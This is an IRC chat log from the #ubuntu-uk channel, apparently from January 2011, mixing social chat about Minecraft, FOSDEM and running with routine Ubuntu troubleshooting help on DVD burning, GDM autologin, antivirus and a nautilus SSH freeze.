<MartijnVdS> http://www.flickr.com/photos/treenaks/3868787056/in/set-72157619633943669/
<MartijnVdS> ^ she's releasing a new EP on Monday.. music downloadable here: http://www.guardian.co.uk/music/2011/jan/20/mummers-mink-hollow-road :)
<MartijnVdS> I love it when artists I've photographed release new music :)
<ali1234> i wish it wasn't so easy to accidentally forkbomb yourself on ubuntu
<ali1234> it only seems to take about 500 forks to completely cripple this machine
<Azelphur> lol
<ali1234> is that american keyboard layout bug from the other day fixed yet?
<ali1234> might as well install updates and reboot before i open all my windows again
<MartijnVdS> I think the bug is still there-ish
<MartijnVdS> I got asked a question about it twice today
<MartijnVdS>  /q issyl0
<MartijnVdS> doh
<jonsaint> hi all
<MartijnVdS> \o
<andylockran> howdy all
<andylockran> what a day
<jonsaint> can someone help plz with regards to cd/dvd copying
<MartijnVdS> jonsaint: what's the problem you're having?
<jonsaint> i had ubuntu before but for the life of me i cant remember how to do this... what im trying to do is this: ive got a film off the net and i want to put it on to dvd but i cant remember what software i used to convert it and burn it.
<jonsaint> anyone???
<jonsaint> anyone help plz?
<MartijnVdS> jonsaint: try the standard "CD/DVD burning" app from the Applications menu?
<MartijnVdS> jonsaint: it has a DVD Video option
<jonsaint> i dont think its that. i cant remember what i used, the actual name of te software i used to convert it and burn it lol
<MartijnVdS> devede? dvdauthor?
<DJones> jonsaint: gnomebaker/k3b?
<jonsaint> no dont think its that
<MartijnVdS> tovid?
<jonsaint> k3b!!!! cheers djones! thats the one!
<MartijnVdS> so.. two weeks until FOSDEM, who's going? :)
 * MartijnVdS might go either Sat or Sun
<AlanBell> evening all
 * AlanBell is on a boat
<MartijnVdS> hi alanbell
<MartijnVdS> AlanBell: http://www.youtube.com/watch?v=R7yfISlGLNU
<AlanBell> internet@sea hotspot
<AlanBell> youtube is blocked
<AlanBell> bit laggy satellite connection
<MartijnVdS> AlanBell: "http://en.wikipedia.org/wiki/I'm_on_a_Boat
<AlanBell> ah, the song
<AlanBell> thought it might be
<jonsaint> hi all (again) im trying to put a film onto dvd but if i remember correctly, i had to convert it forst then copy it to dvd but i dont know what software it was in the software centre i used! i remember something about k3b but i dont think it was just that to convert and burn. anyone got ideas??
<MartijnVdS> jonsaint: doesn't k3b convert to mpeg2 by itself?
<jonsaint> i dont know. its been a while since i used it. i dont even remember what folder the film goes into lol
<MartijnVdS> jonsaint: you could try.. it should warn if you're doing something impossible (i.e. burning mpeg-4 to a DVD-Video)
<MartijnVdS> I know that brasero converts automatically
<MartijnVdS> (that's the default DVD/CD burning tool)
<DJones> jonsaint: Was the converter called "devede" to convert a video file to an iso which you can burn to dvd with k3b?
<jonsaint> thats the one! yet again djones you thought of the one i was after lol
 * MartijnVdS gives up :P
<jonsaint> i dunno what i would do without you folks here!
 * DJones has hooks in jonsaint's brain feeding me information, although MartijnVdS did mention that 20 minutes ago
<jonsaint> martijnvds i also want to thank you for looking also. :-)
<MartijnVdS> \o/
<jonsaint> give me credit guys, i am new to ubuntu. ive come to the dark side because im really sick of all that microsoft bull **it all the time. at least ubuntu is more easier to use.......ITS FREE!!....and theres always good people in here willing to help. no one could ask for more than that!
<AlanBell> wow, this is this ferry's first day of service
<MartijnVdS> AlanBell: nice knowing you ;)
<AlanBell> biggest and most powerfulferry in the channel apparently
<jonsaint> hey alan, you on that new p&o cross channel ferry??
<MartijnVdS> apparently 8-)
<AlanBell> jonsaint: yes, the Spirit of Britain
<jonsaint> whats she like?? from what i heard she can carry over 2,000 people
<AlanBell> yeah, but not that many in cluc class :)
<AlanBell> club
<AlanBell> cluck class would be for the chickens
<jonsaint> still, a very nice looking vessel.
<AlanBell> very clean and shiny, smells of new carpets
<jonsaint> give it 6 months and it will smell and run like the rest of the fleet lol
<MartijnVdS> aka "of sea sick"
<AlanBell> well I hope not to make a personal contribution to that
<jonsaint> the sea should be fairly calm tonight
<sprite> a belated xmas gift for the crew (nsfw) http://dl.dropbox.com/u/6479260/PlayboyCal2011.pdf
<MartijnVdS> !family
<MartijnVdS> !ohmy
<lubotu3> Please remember that all Ubuntu IRC channels share the same attitude of providing friendly and polite interaction with all users of all ages and cultures. Basically, this means no foul language and no abuse towards others.
<ali1234> looks like copyright infringement too, you got a twofer
<jonsaint> im outta here folks. hope you all have a great evening......and alan, i hope the sailing goes well for you.
<AlanBell> just leaving the dock now
<sprite> not copyright. copyright only extends to 2010 ;P
<MartijnVdS> copyrights tend to be valid for long times
<MartijnVdS> like 70-90 years after the author dies or something
<dogmatic69> anyone seen a red triangle with a ! in the top bar?
<dogmatic69> hover says 'update info is old, bad connection blaa blaa
<daubers> sigh, still some unresolved packages
 * popey plays minecraft
 * AlanBell arrives in the UK
<popey> ola
<directhex> looks like there are six of my own blu-ray discs that i can't rip to watch in linux, unless i buy commercial windows tools
<Darael> directhex: Ow.
<terran> directhex: what do you mean? Can't you just watch them? Why do you have to rip them?
<directhex> terran, same difference, ultimately. ripping tools and the rather early-days libaacs rely on the same method
<terran> So there's no blu-ray support in Ubuntu, even?
<directhex> terran, technically there's as much support as for dvd, i.e. "it's fine if the disc is not copy-protected. good luck with that"
 * czajkowski does the going to Canada dance 
<czajkowski> :D
<terran> jeez
<terran> is there anywhere you don't go
<czajkowski> um....
<czajkowski> places that are cold
<czajkowski> :)
<czajkowski> terran: 2 weeks to fosdem :D
<terran> yup yup yup!
<terran> gonna be fun
<terran> this time I ain't a poor student living in my overdraft :D
<jpds> czajkowski: Where in Canada?
<czajkowski> jpds: Guelp heading over to meet 2 mates
<jpds> Groovy.
<czajkowski> yup
<czajkowski> so much fun
<czajkowski> went over there over a year ago for my 30th
<czajkowski> 2 weeks of fun
<directhex> train tix and accommodation for fosdem are booked on the company credit card ^_^
<terran> old czajkowski is old :p
<czajkowski> yup
<czajkowski> :D
<czajkowski> terran: sod off you little git I am not that old!
<terran> I know babe I know
 * hamitron sighs
<directhex> er... the largest blu-ray in my collection afaik, at 40GB of data, is a movie from 1978 with mono sound...
<popey> Rollercoaster?
<Azelphur> what's the deal with oovoo?
<Azelphur> I hear it uses XMPP and some form of openness for the protocol level
<Azelphur> but is the client open?
<popey> http://popeydc.dyndns.org/maps/current.png :)
<Azelphur> :D
<dwatkins> Have you been playing minecraft, popey? ;)
<Azelphur> popey: btw did you get 500 points on giffgaff
<Azelphur> I signed up so you should get some stuff
<czajkowski> popey: http://twitpic.com/3s3ww5 :D
<popey> dunno
<popey> haha
<popey> breakfast?
<Azelphur> popey: also what memory is it you have in surplas? :P
<czajkowski> popey: oh it will be tomorrow :D
<popey> one mo, I will get the link
<czajkowski> cannot wait
<popey> Azelphur: i have 4 off packs of 2x2GB, so in total 16GB
<Azelphur> speed/type?
<dwatkins> popey: I'm curious, what was the landscape picture from?
<popey> DDR3 1333MHz
<popey> dwatkins: minecraft
<Azelphur> hehe
<dwatkins> oh right, I didn't know it did that, popey :)
<Azelphur> little too slow for me, I'm on 1600
<popey> its for a server
<popey> which doesnt need to be fast
<Azelphur> :)
<popey> dwatkins: its a program called mcmap which generates those maps based on the game world
<ali1234> Azelphur: you have a fast graphics card right?
<dwatkins> neat, popey - I'm almost tempted to give it a try ... not sure I can spare my weekend, though
<Azelphur> ali1234: gtx 570
<popey> dwatkins: http://popeydc.dyndns.org/maps/ I have it run every 10 mins to take a snapshot
<ali1234> is that fast?
<Azelphur> ali1234: I'd say so, I believe it's the second fastest graphics card you can get
<ali1234> can you try running something and tell me how long it takes?
<czajkowski> http://www.odfplugfest.co.uk/  <---- one of the projects I'm organisng at  shall mail Ubuntu uk about it
<ali1234> you will need to install pyopencl
<popey> Azelphur: today
<Azelphur> ali1234: sure
<Azelphur> popey: huh?
<popey> 23:55:37 < Azelphur> ali1234: I'd say so, I believe it's the second fastest graphics card you can get
<Azelphur> oh yea, today
<Azelphur> :)
<ali1234> on my computer it takes about 1 minute and is not much faster than the CPU
<Azelphur> I know I'll be violated by it later.
<ali1234> i'm just wondering if it's bad coding or just cos my card sucks
<ali1234> anyway here it is: http://al.robotfuzz.com/~al/random/cltest.tar
<ali1234> wait
<ali1234> that's wrong one :(
<ali1234> fixed
<Azelphur> :P
#ubuntu-uk 2011-01-22
<ali1234> i get 55.7 seconds but i only have a GTS 240
<Azelphur> ali1234: what's the package? It's not pyopencl or python-opengl
<Azelphur> opencl*
<ali1234> python-pyopencl
<Azelphur> ali1234: 28 seconds
<Azelphur> :D
<ali1234> hmmmmmm
<ali1234> that's still not fast enough
<Azelphur> ali1234: when I start it it asks if I want to use "D13U" or "GeForce 8800 GT"
<hamitron> is it using enough "threads"?
<Azelphur> on D13U which is no doubt the 570, it runs in 28 seconds
<Azelphur> if I try to run it on the 8800GT it errors
<ali1234> if i ran the C version of the algorithm on all 4 cores it would run about the same speed
<hamitron> Azelphur: how many cores yours have?
<Azelphur> graphics card?
<Azelphur> nfi
<hamitron> yeh
<ali1234> GPUs use SIMD
<hamitron> so it auto spreads?
<hamitron> been cheap, I went for the GTS 450 with only 192 cores
<hamitron> ;)
<ali1234> it has 192 cores but they all do the same instruction
<ali1234> same instruction multiple data
<hamitron> ah
<ali1234> so eg add together 192 pairs of different number, giving 192 answers
<hamitron> so is 256 cores twice as good as 128?
<hamitron> or depends on program?
<ali1234> if you have larger datasets, yes
<ali1234> all my arrays are bigger than 256 elements, so it should use the card to the max...
<hamitron> does yours have large datasets?
<hamitron> Azelphur: appears yours has upto 512 :D
<MattJ> ali1234: map/reduce! \o/
<ali1234> actually i always do at least 1024
<andylockran> neat
<ali1234> up to 1024*1024
<ali1234> maybe it's python overhead
<hamitron> use C...
<hamitron> ;)
<ali1234> i hate writing boilerplate
<hamitron> http://en.wikipedia.org/wiki/CUDA#Supported_GPUs
<hamitron> why does the GTX570 support a lower version?
<hamitron> or is that just wrong
<ali1234> no idea
<ali1234> hmm... i have an idea
<hamitron> 556Gb partition defragmented at last \o/
 * hamitron has learnt his lesson, never run it with less than 1Gb free space
<directhex> hm... commercial ripping app w/ linux port works with all my discs, even the 3d one released 2 weeks ago
<ubuntuuk-planet> [Jono Bacon] Making Ubuntu More Personal: Identify Contributions To Engage More Personally - http://www.jonobacon.org/2011/01/22/making-ubuntu-more-personal-identify-contributions-to-engage-more-personally/
<ubuntuuk-planet> [Matthew Garrett] Open embedded GPUs - http://mjg59.livejournal.com/133472.html
<andylockran> no idea why I woke up this early.
<andylockran> even less idea why I decided it would be a good thing to then come into the office
<MartijnVdS> morning :)
<MartijnVdS> andylockran: office? on saturday?
<andylockran> MartijnVdS: yeah :s
<andylockran> trying to teach my bodyclock a lesson
<MartijnVdS> andylockran: I do that by going to sleep at 22:00, then making myself not get up before 6
<andylockran> yeah, I tried that and failed :s
<MartijnVdS> Now I've done that, I can go to sleep at any time, and still wake up at 6, without an alarm
<MartijnVdS> It even works across time zones (once I'm de-jetlagged it works instantly!)
 * MartijnVdS has been living "alarm clockless" for ~7 years now
<andylockran> MartijnVdS: any nice plans for the weekend?
<MartijnVdS> andylockran: going for a run in a few hours
<andylockran> that's my plan also :)
<MartijnVdS> then bring some large trash^Wstuff to the recycling place
<MartijnVdS> I'm planning 10-15km (6-9.5mi)
<andylockran> I'm only going to do 6km
<andylockran> not been out for a while
<MartijnVdS> I want to run the local 20km early March
<MartijnVdS> so I need the practice :)
<MartijnVdS> (and when I'm done, I can say I ran 20 km at 10 kph while being 30 years old :)
<andylockran> MartijnVdS: I know the feeling.  Not ran much before, did a 10k last year in 53.54 and was so chuffed
<andylockran> hoping to get a sub-50 time in the spring
<MartijnVdS> andylockran: Yeah last year I couldn't run more than 5 minutes
<andylockran> got some interesting projects on at the moment.
 * MartijnVdS has been buying (and playing :)) records.. the old vinyl ones :)
<lazarus_> morning
<MartijnVdS> \o lazarus_
<lazarus_> 21 today woop
<MartijnVdS> congratifications!
<andylockran> congrats from me too!
 * MartijnVdS gives lazarus_ a free copy of Ubuntu for his b'day
 * andylockran provides 64 bit..
 * lazarus_ already runs ubuntu 10.10 64-bit
<lazarus_> on an intel i3 550 with 1tb hdd and 4gb ddr3
<andylockran> sounds nice :)
<lazarus_> the ram is crap and needs replacing
<MartijnVdS> lazarus_: heh, I have an i3 550, 1TB, 4GB :)
<andylockran> you know what to ask for your birthday then :)
<MartijnVdS> but I'm running Natty
<andylockran> I have a model name	: Intel(R) Pentium(R) D CPU 2.80GHz
<lazarus_> with the asus p7h55-m si mobo
<andylockran> with a 500GB HD and 4GB DDR2
<MartijnVdS> model name	: Intel(R) Core(TM) i3 CPU         530  @ 2.93GHz
<MartijnVdS> oh I have a 530 apparently ;)
<MartijnVdS> misremembered
<MartijnVdS>         Product Name: P7H55-M PRO
<MartijnVdS> lazarus_: are you a clone of me?
<MartijnVdS> lazarus_: but 9 years younger? :P
<lazarus_> hehe i have the P7H55- SI
<lazarus_> not PRO
<MartijnVdS> what's the difference?
<lazarus_> hehe i have the P7H55-M SI
<lazarus_> dunno
<lazarus_> tbh
<lazarus_> my ram is cheaply made and isnt up to par
<lazarus_> V-DATA 1333mhz]
<lazarus_> V-DATA 1333mhz
<lazarus_> 2 x 2GB
<MartijnVdS> I don't know what mine are
<MartijnVdS> and the case is closed so I can't look
<lazarus_> in total i paid Â£370 for the whole pc the Â£149 for my monitor
<MartijnVdS> nice and cheap :)
<MartijnVdS> I have a satellite receiver card in this one
<lazarus_> thats what i thought too
<MartijnVdS> so I can watch Freesat while I work :)
<lazarus_> cool
<lazarus_> expensive?
<MartijnVdS> the card? nah, â¬100ish
<lazarus_> cool
<MartijnVdS> the dish was more expensive (but I use that for the box connected to my TV as well)
<lazarus_> unfortunatly i still have windows installed for gaming
<MartijnVdS> I have a separate machine (and a PS3) for that
<MartijnVdS> Also use it to update my Logitech remote (no Linux software, boo!)
<lazarus_> uh-oh i own the ps3's enemy
<MartijnVdS> lazarus_: Wii? ;)
<lazarus_> pahahaha no
<lazarus_> MartijnVdS: xbox 360
<lazarus_> lol
<czajkowski> aloha
<MartijnVdS> morning cz<tab>
<HazRPG> I knew there was a reason I barely go on ##windows :/
<chalcedony> haha
<lazarus_> HazRPG: what reason
<HazRPG> treating you like a noob
<HazRPG> all I wanted was a recommendation of a tweak program to edit registry based stuff without having to do some googling or trial-n-error of random thing
<HazRPG> things*
<HazRPG> people part of the open-source world are much friendlier
<czajkowski> egg and soliders are nyoomy!
<czajkowski> Just sayin'
<popey> hah
<czajkowski> ohh a popey
<czajkowski> ello
<danfish> czajkowski: is soliders a typo or an Irish thing?
<danfish> morning btw
<popey> just warmed up some chocolate croissants for the kids
<popey> i may have a sausage sarnie
<popey> danfish: wut!
<czajkowski> danfish: eh
<popey> soldiers is toast sliced to you can dip it in a boiled egg
<czajkowski> you are kidding
<popey> every child knows this!
<czajkowski> popey: :D
<popey> :)
<popey> http://farm3.static.flickr.com/2104/1557814947_1a649347e3.jpg
<czajkowski> yup! lovely yummy runny egg!
<danfish> popey: :)
<danfish> ooohh - 6 sleeps until our first child free weekend \o/
<czajkowski> heh
<czajkowski> danfish: I take it this is a good thing?
<danfish> I love em, but could do with a weekend off
<czajkowski> danfish: how many do you have ?
<popey> BAH!
<popey> i kicked off a 35 hour job at 18:30 last night
<popey> some dope rebooted the box I was running it on
<czajkowski> :(
<czajkowski> so is grumpy going to deal with dopey ?
<danfish> czajkowski: 2 boys, a 20mnth old and a 4 yr old
<czajkowski> awww nice :)
<danfish> popey: that's some job, what was it?
<popey> oracle cost based optimizer
<czajkowski> even the name of it doesn't sound friendly
<popey> heheh
<czajkowski> granted it has the word oracle in it, which alone makes it that way
<popey> true
<popey> its a very intensive job, especially given it's chugging through 8TB of data
<czajkowski> od I feel more human today, have a ton of energy
<popey> great!
<czajkowski> so why did the twat go and reboot the machine?
<danfish> and optimizer is spelt with a 'z' ;)
<danfish> which makes it even wrongerer
<popey> http://www.google.co.uk/search?aq=f&sourceid=chrome&ie=UTF-8&q=oracle+cost+based
<popey> oh, sadly it is
<czajkowski> dear rain go away, I need to go get some fresh air
<popey> czajkowski: they were re-cabling the datacentre
 * danfish orders a batch order of "Cost Based Oracle Fundamentals" to dish out as sleep aids to insomniacs :P
<popey> and we gave them a very specific list of boxes to do, mine was absolutely not on the list
<popey> seems like they yanked it anyway
<czajkowski> bugger
<czajkowski> danfish: I can also recommend any networks college book. Puts you straight out
<popey> hey ho
<czajkowski> I hated that module in college
<popey> oracle books are incredibly dull
<popey> all database books are IMO
<danfish> me cable monkey, me see cable me yanks ;)
<popey> when the DC was put in the servers were moved in from another DC, the company saved money by using the server luggers to do the cabling rather than a cabling company
<popey> which is why now we are re-cabling
<popey> :)
<czajkowski> not much cost saving then
<popey> nope
<popey> and we get all kinds of issues due to the cables being plugged in wrong
 * czajkowski decided to go to Canada last night for a holiday CANNOT_WAIT
<popey> heyho, enough work crap :)
<popey> yay holidays!
<danfish> czajkowski: Canada's ace - where you going?
<czajkowski> danfish: Guelp
<czajkowski> danfish: about 13 of my mates are gone to Canada for work in the last 2-3 years
<czajkowski> danfish: it's just outside of Toronto
<danfish> we nearly moved to Canada 3 years ago
<czajkowski> we all got out the Google cals last night and found July to be a quiet month :)
<czajkowski> danfish: oh if I didnt get this job back in November, I'd have gone to Canada, was going to work for mate that I'm now visiting minding her kids till I got work
<czajkowski> had all the forms to get the visa
<danfish> you'll have fun there, eh?
<czajkowski> admittedly it makes it harder to go to oggcamp if I moved to canada
<danfish> true - but it's a very tempting place to work.
<czajkowski> danfish: yup :D a week of sun, no nerds (as much as I love ye lot) and catching up with my 2 best mates
<danfish> we'll track you down :D
<czajkowski> danfish: yup, salaries are damn high, mate moved over, she's  a single mum with 3 kids. The kids adore it, the eldest was struggling in school back home, and is now caught up and in the top 5% of her class
<czajkowski> the twins now there 2 years have such cute accents.
<popey> do they say 'aboot'?
<czajkowski> popey: the twins do, the 10 year old nope
<popey> you're not proper canadian until you do
<czajkowski> hard to believe they will be 5 next month, considering when they were born they nearly didn't live 4lbs and 3lbs :( then home and stopped breathing as they had sleep apnea
<popey> erk
<popey> one of out friends has a kid with sleep apnea
<popey> and my father in law has it
<danfish> it's unpleasant and underfunded here
<czajkowski> aye I think Alannah grew out of it after a litle over a year Cillian took him till he was 2 to stop. Tc had to resuscitate Cillian when he was a month old. Good thing she teaches that kinda thing
<czajkowski> danfish: aye so true
<czajkowski> and frigging scarey. cots had alarms fitted so we all knew what to do when they went off ---- RUN!
<popey> blimey
<popey> http://piersmorgan.blogs.cnn.com/2011/01/07/what-time-does-piers-morgan-tonight-air-in-your-country/ does that page load for anyone?
<czajkowski> yes
<popey> kinda just sits there for me and never finishes, all i see is the header
<czajkowski> now I get to see his ugly mug, thanks popey
<danfish> sadly yes
<popey> all of the page?
<czajkowski> yes
 * czajkowski prods popey 
<popey> how odd
<danfish> yes, again sadly
<czajkowski> it's a long page of comments as well
<popey> interesting, its powered by wordpress.com
<popey> aha, finally loaded
 * czajkowski got her blog moved over to new hosting so no more down time and falling over ! 
<danfish> popey: you need to put some more coins in the internet meter ;)
<popey> :)
<popey> kvarley: my minecraft server is up :)
<kvarley> popey :) please can you pm me the ip?
<popey> popeydc.dyndns.org
<popey> http://popeydc.dyndns.org/ <- graphical map :)
<kvarley> thanks :)
<danfish> czajkowski: next time your in central London, there's a Canadican pub in Covent Garden - the Maple Leaf
<HazRPG> hmmz, that's the 10th time this week I've heard minecraft... what is it exactly?
<HazRPG> and why haven't I heard about it before this week?
<danfish> HazRPG: it's been classified as a class A drug - be warned :)
<HazRPG> xD
<HazRPG> like World of Warcraft then?
<Myrtti> i hate scrabble
<danfish> I haven't actually played it yet as I'm still in therapy for my Angry Birds addiction
<HazRPG> guessing minecraft is a paid for game right?
<HazRPG> according to minecraft.net at least
<daubers> Morning
<danfish> lo daubers
<HazRPG> \o daubers
 * daubers notes he has 250 updates waiting and can't land them because some dependancies of libre office aren't there yet :(
<daubers> Anyonne know if there's a quickly template set for working with Qt instead of GTK?
<HazRPG> hmm, I'm stuck at "Planting..." on http://www.minecraft.net/play.jsp <-- that site
<Laney> why don't you just do a safe-upgrade?
<Laney> or let the aptitude resolver pick a solution that works
<daubers> Laney: because the resolver wants to remove Unity :(
<HazRPG> at like 75%
<Laney> keep saying no
<Laney> until it gets to one which doesnt
<AndIrc__> hi everyone... wonder if anyone can help, have a laptop that will no longer boot into x after I set the auto logon checkbox for a user. u can get to a command line, all I need to know is where that checkbox info is stored in a config file
<AndIrc__> so I can undo it
<AndIrc__> its a 10.10 install
<nperry> AndIrc__: /etc/gdm/custom.conf
<dwatkins> andirc__: /etc/gdm/gdm.conf-custom according to a search
<dwatkins> heh ok
<AndIrc__> I don't have either of those files in that location
<dwatkins> hmm
<dwatkins> I can only suggest grepping for the configuration settings, e.g. AutomaticLogin
<AndIrc__> ok will give that a go.... thanks
<jonsaint> hi all. i got very little knowledge with ubuntu as ive been on the dark side for many years so still a learning curve for me, on ubuntu, do i need any kind of anti-virus and if so, where do i get it and is it easy to set up?
<mash909> morning, my new 10.10 install seemed fine last night, but now things crash immediately after login!  I can get to tty
<cps> Morning everyone :)
<marxjohnson> jonsaint: Depends. In general, no you don't, but if you've got Windows machines on your network and you're sharing files with them, it's best to install something like ClamAV and do a regular scan.
 * cps is on a train to preston
<mash909> what's the best way to verify my disks?
<marxjohnson> This is, however, to stop Windows getting infected, not Ubuntu
<jonsaint> i got nothing networked marx. its just this machine and the internet
<marxjohnson> Not running a mailserver/webserver or anything on it?
<marxjohnson> mash909: fsck?
<jonsaint> nope. i did a format of my hard drive to wipe off that nasty microsoft rubbsh and installed ubuntu
<marxjohnson> cool, you should be safe then
<marxjohnson> although you should still take the usual precautions of connecting to the net, firewall etc ;-)
<jonsaint> is it right in me saying that viruses for microsoft stuff cant infect an ubuntu machine? or am i wrong?
<marxjohnson> yes
<marxjohnson> I suppose they could potentially execute under WINE, but that's unlikely to do much damange
<jonsaint> so ubuntu is a really good system then?
<marxjohnson> yes :-)
<mash909> will try fsck (digging out a rescue disk)
<jonsaint> sorry for all these mad questions, im new to all this
<marxjohnson> no that's cool, glad to help
<jonsaint> thanks again. chat soon.
<marxjohnson> dont be lulled in to thinking Ubuntu is invincible though
<jonsaint> i wont
<marxjohnson> :)
<jonsaint> il still be just as careful!
<AlanBell> My Maverick TShirt has arrived
<MartijnVdS> just in time for the natty release party
<marxjohnson> haha
<jonsaint> aah mr bell. how did the crossing go?? not too rough i hope
 * cps noms on some softmints
<cps> virgin trains \o/
<AlanBell> crossing was very smooth
<MartijnVdS> Ooh, apparently IANA distributed its final IPv4 space
<MartijnVdS> http://www.reddit.com/r/technology/comments/f6ohj/ipv4_address_space_is_depleted_iana_is_working_on/
<cps> o_O
<cps> w
<cps> oosp
<cps> oops*
<cps> will need to let my stepdad know
<cps> he says he's not ready to get an ipv6 tunnel though
 * MartijnVdS has native V6 on his DSL
<cps> BT doesn't do IPv6 :|
<cps> which is why I suggested to my stepdad to have an IPv6 tunnel
<AlanBell> how does an ipv6 tunnel actually help?
<cps> packing up now, preston's the next stop
<cps> o/
<MartijnVdS> AlanBell: you'll be able to access ipv6-only hosts :)
 * HazRPG stares at box that arrived in the post today
<HazRPG> Woot! My first ever graze xD
<oly> hi, wonder if someone can help me with a nautilus problem
<oly> for a while now when ever i use a ssh bookmark nautilus freezes
<MartijnVdS> maybe it's trying to ask for a password?
<oly> i can connect fine from terminal
<oly> its only nautilus freezing
<oly> you would think, but if it is there is no password box
<oly> i tried removing the known_hosts file so the keys where all reset
<oly> just to rule that out
<oly> if it was just the password box it should not freeze nautilus completely
<oly> as in i have to kill it to be able to continue using it
<oly> found some stuff on the net seems other have had the problem
<oly> but no solution that works :/
<MartijnVdS> oly: are there any errors/messages in ~/.xsession-errors about it?
<HazRPG> not sure if this is good advise, but you could try running "sudo nautilus" and rule out the whole password thing
<MartijnVdS> HazRPG: no!
<MartijnVdS> HazRPG: he's having ssh problems, not root problems :)
<oly> nope i just did a tail on that file and nothing new is added
<MartijnVdS> what happens if you "pkill nautilus && nautilus" (i.e. run it in a terminal)
<MartijnVdS> or just:
<MartijnVdS> nautilus ssh://some.host/path
<MartijnVdS> (if something is failing it'll probably be gvfsd though..)
<MartijnVdS> (try killing that one ... it should respawn as needed)
<oly> gvfs was my guess but that does not help fix it
<oly> trying the nautilus from command line
<oly> though one problem i noticed is nautilus tend to detach from the terminal
<oly> well no errors from terminal and nautilus does not open if i specify the url
<oly> trying to reinstall gvfs but dont expect that to fix it
<oly> fixed it \o/
<oly> and found a bug i guess
<oly> seems nautilus-bzr is the cause
<oly> going to reinstall just to confirm
<oly> well thats definately the problem reported it as a bug for now
<oly> luckly i normally use bzr from command line anyway
<MartijnVdS> \o/
<MartijnVdS> nice find though
<oly> yeah i am pleased, makes it a bit easyer to drag files to remote locations :p
<MartijnVdS> I guess I'm too used to the command line for that
<MartijnVdS> I use it with cifs though
<MartijnVdS> to drag files to/from my NAS
<livingdaylight> greetings
<MartijnVdS> \o ldl
<livingdaylight> Anyone familiar with Calibre? I dropped a pdf file to convert to epub. It took a good 15 minutes to convert. Obviously, depends on the size but is that normal?
<livingdaylight> MartijnVdS, hi, was it you who told me about Calibre a few days ago?
<MartijnVdS> could be
<livingdaylight> was concerned as there 's no (reassuring) progress bar; just a whirrling round and round circle, as if stuck, but did eventually finish
<MartijnVdS> the guy who makes it is very cool & responsive, you could suggest a progress bar feature :)
<MartijnVdS> I think the podcast people had him on once
<livingdaylight> ok
<MartijnVdS> (though that might have been Outlaws)
<dutchie> nope, it was uupc
<jonsaint> hi all. i seem to have forgot how to convet then burn a film. im using devede to convert it and using k3b to burn. but thing is when using devede to convert, its converting to an iso file and i cant burn it. anyone got ideas plz??
<MartijnVdS> jonsaint: right-click the iso, select the option to burn it to dvd?
<MartijnVdS> jonsaint: (right-click in the file browser)
<jonsaint> and that will work??
<MartijnVdS> why wouldn't it?
<MartijnVdS> it's a prepared image of a DVD-Video, isn't it?
<MartijnVdS> "Burn image to disc" will, well.. burn that image to a disc
<jonsaint> just trying it now lol
<gord> i installed xchat on windows so i can play video games and irc at the same time, it comes with a winamp control plugin... i don't understand why
<bigcalm> popey: ping
<MartijnVdS> gord: because it's Windows and weird
<gord> we all like to complain about ubuntu from time to time, but logging into windows puts its allllllllllllllll into perspective
<MartijnVdS> :)
<gord> okay, xchat on windows now using the ubuntu font, its almost like i'm home
<livingdaylight> gord, wait till your copy expires
<gord> livingdaylight, well you don't use the official build obviously
<MartijnVdS> woo.. OTA on my Nexus One
<MartijnVdS> Too bad it's 2.2.2 instead of 2.3.0
<gord> argh, you got me excited for a few seconds then :(
<MartijnVdS> gord: well it fixes the "SMS bug" that I've never seen, apparently
<popey> bigcalm: pong
<popey> bigcalm: seen the map?
<popey> http://popeydc.dyndns.org/maps/current.png
<popey> updates every 10 mins
<czajkowski> popey: do the kids play ?
<popey> yes
<popey> i might buy them their own copies
<popey> because then we can play together
<gord> and they can have their own skins :)
<popey> yeah!
<bigcalm> popey: what happened to my hut? Looks like an explosion of boxes
<czajkowski> popey: that's pretty cool
<czajkowski> never played it myself
<MartijnVdS> Oops! Google Chrome could not connect to popeydc.dyndns.org
<czajkowski> I don't need another distraction
<popey> bigcalm: yeah!
<popey> i arrived and the house was a mess already
<bigcalm> I was trying to be neat and organised
<popey> then a thing blew up just next to the wall
<popey> i tried to rebuild a bit
<popey> at least put the walls back
<popey> but it was quite an explosion
<czajkowski> I was very confused there for a min, thought you were referring to home home
<czajkowski> :s
<popey> heh
 * czajkowski prods popey 
<popey> MartijnVdS: wfm :)
<czajkowski> MartijnVdS: works grand here also
<popey> there is a tower of sand in the bottom right of the map
<popey> that's where I am now :)
<MartijnVdS> popey: trace stops at 62.254.207.122
<gord> in my world, i got fed up of creepers so i built my home on a small island just off the coast, it works well :)
<popey> waiting for daytime
<czajkowski> terran: Cowen is gone
<popey> i have a lot of refined sugar, no clue what to with it
<gord> make a cake?
<czajkowski> gord: do you have cakes
<czajkowski> popey: PANCAKES!
<popey> http://www.minecraftwiki.net/wiki/Cake
<gord> i wish i had cake =\
<czajkowski> bah
 * czajkowski made yummy soup earlier on 
<bigcalm> minecraft has stopped responding after I left your server
<czajkowski> soo damn tasty
<bigcalm> Silly minecraft
<gord> wait, i forgot i have no food in the house again. i should go shopping but whenever i go shopping hungry i just buy tasty things that empty out of the house in two days. its a vicious cycle
<czajkowski> gord: online shopping get it delievered
<czajkowski> hmm wonder do I have time to make some bread
<gord> i'v never tried online grocery shopping, does it cost much more?
<czajkowski> gord: if you book in advance anywhere between 3-5 quid
<gord> huh, fairly reasonable
<czajkowski> means you also get more as well to your house
<czajkowski> gord: I find tesco pretty good
<czajkowski> hmm no flour :(
<MartijnVdS> pfuh, who needs flour!
<bigcalm> popey: does each user have a different spawn point?
<bigcalm> MartijnVdS: florists
<bigcalm> czajkowski: *hugs*
<MartijnVdS> bigcalm: good point
<czajkowski> MartijnVdS: I do to make bread or now I want pancakes
<MartijnVdS> bigcalm: (actually, in Dutch, "flour" and "flower" are the same word: "bloem")
<czajkowski> with sugar and lemo on them
<MartijnVdS> time for some shopping then :)
<MartijnVdS> don't forget buckwheat -- pancakes with buckwheat + beer = best pancakes
<popey> bigcalm: no
<popey> there is one spawn
<czajkowski> MartijnVdS: oh
<bigcalm> Ok
<popey> heheh, the server is using 2.5GB RAM
<dutchie> :o there's a popey minecraft server?
 * TheOpenSourcerer has been cooking all morning.
<directhex> popeycraft
<popey> there is dutchie
<popey> http://popeydc.dyndns.org/maps/current.png
<dutchie> how exciting
<dutchie> i may pop along when i am not supposed to be working
<popey> heh
<popey> i need to tweak the script to show how long it takes to generate the map i think
<directhex> popey needs moar mhz
<popey> it doesnt take long
<popey> just interested to know how long it takes over time
<directhex> POPEY NEEDS MOAR MHZ
<popey> need more MB reall
<popey> *really
 * directhex rips more blu-ray
